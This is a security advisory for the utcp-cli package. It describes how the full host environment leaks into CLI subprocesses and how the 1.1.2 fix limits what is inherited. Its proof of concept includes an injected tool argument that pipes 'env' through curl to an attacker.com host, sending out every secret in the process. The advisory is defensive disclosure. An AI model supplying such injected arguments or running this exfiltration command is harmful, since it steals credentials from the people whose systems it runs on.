_prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in _substitute_utcp_args() tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.
# cli_communication_protocol.py
def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
env = os.environ.copy() # All secrets inherited
if provider.env_vars:
env.update(provider.env_vars)
return env
Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:
# Tool defined as:
{"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"}
# Attacker supplies:
tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"}
# Executed bash script:
# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1)
# -> Full env dump sent to attacker including all secrets
Fixed in utcp-cli 1.1.2. _prepare_environment no longer copies the full host environment. Inheritance is controlled by a new CliCallTemplate.inherit_env_vars field:
null (default): a small built-in OS-specific allowlist (PATH, HOME, LANG on Unix; PATH, PATHEXT, SYSTEMROOT, USERPROFILE, etc. on Windows) is inherited so shells and binaries continue to work.[]: strict mode -- nothing from the host environment reaches the subprocess; only env_vars is propagated.["FOO", "BAR"]: exactly those host variables are inherited (replaces, not merges with, the default allowlist).env_vars is always layered on top and overrides any inherited value. Secrets like OPENAI_API_KEY no longer reach the subprocess unless the call template explicitly opts them in.
Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.
Reported by @ZeroXJacks.
{
"github_reviewed_at": "2026-05-14T20:56:07Z",
"github_reviewed": true,
"cwe_ids": [
"CWE-526"
],
"nvd_published_at": "2026-05-14T21:16:48Z",
"severity": "HIGH"
}